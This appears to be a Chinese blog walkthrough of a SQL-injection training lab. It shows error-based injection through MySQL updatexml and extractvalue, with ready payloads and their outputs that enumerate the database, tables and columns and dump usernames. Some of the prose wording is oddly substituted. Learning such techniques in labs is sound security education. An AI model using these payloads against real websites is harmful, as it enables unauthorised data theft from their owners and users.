按照之前的思路发现,是正常的'闭合的字符型,但是在联合注入0' union select 1,2,3--+没有回显注入点,只是回显You are in,因此无法使用联合注入,思量使用报错注入或者盲注。
思量到本题会给出数据库的错误信息,且盲注比较麻烦,实行使用报错注入
1. 报错注入函数简介
1.1 updatexml函数
UPDATEXML 是 MySQL 中的一个 XML 函数,用于解析 XML 数据并返回效果。
UPDATEXML(xml_target, xpath_expr, new_xml)
- xml_target:要操作的 XML 文档。
- xpath_expr:一个字符串,表示 XPath 表达式,用于指定要更新的节点。
- new_xml:要替换的新的 XML 内容。
在SQL注入中,不妨把他简化为updatexml(xx,concat(xx),xx),concat函数用来拼接字符,当第二个参数为非xpath格式就会把校验失败的数据爆出来。由于要的只是第二个参数,一三随便写即可
1.2 extractvalue函数
EXTRACTVALUE 是 MySQL 中的一个函数,用于从 XML 文档中提取指定的值。该函数使用 XPath 表达式从 XML 数据中选择和返回节点的文本内容。
EXTRACTVALUE(xml_frag, xpath_expr)
- xml_frag:包含 XML 数据的字符串。
- xpath_expr:一个字符串,表示 XPath 表达式,用于指定要提取的节点。
在SQL注入中,不妨把他简化为extractvalue(xx,concat(xx)),concat函数用来拼接字符,当第二个参数为非xpath格式 就会把校验失败的数据爆出来。由于要的只是第二个参数,参数一随便写即可。
2. updatexml报错
0x7e为~,方便我们在报错回显中找到数据。
通过拼接必要的内容作为路径,报错后路径被爆出,从而得到数据。- ?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+
- '回显:XPATH syntax error: '~security~'
- ?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) --+
- '回显:XPATH syntax error: '~emails,referers,uagents,users~'
- ?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+
- '回显:XPATH syntax error: '~id,username,password~'
- ?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+
- '回显:XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
复制代码 3. extractvalue报错
通过拼接必要的内容作为路径,报错后路径被爆出,从而得到数据。- ?id=1' and extractvalue(1,concat(0x7e,(select database() ),0x7e))--+
- '回显:XPATH syntax error: '~security~'
- ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e))--+
- 'XPATH syntax error: '~emails,referers,uagents,users~'
- ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e))--+
- 'XPATH syntax error: '~id,username,password~'
- ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users),0x7e))--+
- 'XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
复制代码 宇宙安全声明
本博客所提供的内容仅供学习与交换目的,所有文章、代码及相干资料仅用于提升网络安全知识水平。博主不对任何人因使用博客中提到的技能或工具而产生的任何后果负责。
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |